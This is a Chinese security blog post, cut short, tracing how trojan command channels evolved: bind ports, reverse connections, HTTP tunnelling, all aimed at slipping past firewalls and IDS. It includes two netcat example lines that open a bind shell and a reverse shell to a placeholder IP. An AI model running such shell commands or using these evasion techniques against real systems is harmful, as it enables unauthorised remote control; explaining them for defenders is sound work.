匿名信使:木马隐蔽通信浅谈

文|lake2

前言

这是前文《网络层绕过IDS/IPS的一些探索》[1]的延续,当时就想可以用四层以下的协议实现木马通信绕过各类IDS/IPS的检测,一直没有找到时间测试,正好这次攻防演练值守期间有了机会。

标题之所以用“匿名信使”,是因为很久以前有一款利用Windows下net send自动化批量发送消息的软件叫做匿名信使——当年net send发送的匿名消息在Windows2000/XP下大行其道,现在发现居然这个命令都不存在了(Vista以后已经被msg命令替代),致敬作者和那个时代。

木马常用通信协议对抗进化

1. 第一代木马

国内第一代木马是什么?必须是国内最早最权威的安全社区xfocus团队成员glacier出品的冰河。

 冰河的界面,是不是跟XScan很像,因为是同一个作者。

 图源网络

冰河会开放主机的TCP 7626端口等待服务端控制。这是第一代木马被动通信模式:开放端口(主要是TCP端口,当然也可以用UDP),类似使用nc -l -p 7626 -e cmd.exe 。

开端口这个方式的弊端就是要在主机开放端口,netstat命令或者主机防火墙很容易就发现开了个端口,同时如果被控端在内网或者有防火墙就没有办法连上。

2. 第二代木马

于是就很快进化出第二代木马主动通信模式(反向连接,典型代表是葛军的灰鸽子):不开端口,由木马反向去连接服务端,nc -e cmd.exe IP 8000,这个模式较之上一代优势很明显,被控端在内部网络也能穿透防火墙或NAT,当年防火墙对出站检查比较松,特别是端口使用TCP 80,让防火墙以为是在浏览网页,颇具迷惑性。

 灰鸽子界面,图源百度 

但是很快安全系统的策略也跟上了,因为这个模式要产生一条TCP出站通信,基于主机的安全软件可以实时拦截进程的网络行为(还记得天网防火墙吗)。

曾经风靡一时的天网防火墙。

 图源网络 

3. 第三代木马

第三代木马通信开始使用常见应用层协议迷惑防火墙(灰鸽子会在Windows下以DLL形式注入浏览器进程,通信协议也伪装成了HTTP还直接调用浏览器里设置的代理),常见的方法就是使用HTTPTunnel把TCP协议转成HTTP协议,绕过防火墙。

 HTTP协议穿过防火墙/HTTP代理。

图源http-tunnel 

后来随着业务形态的发展,还真的有了使用HT

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值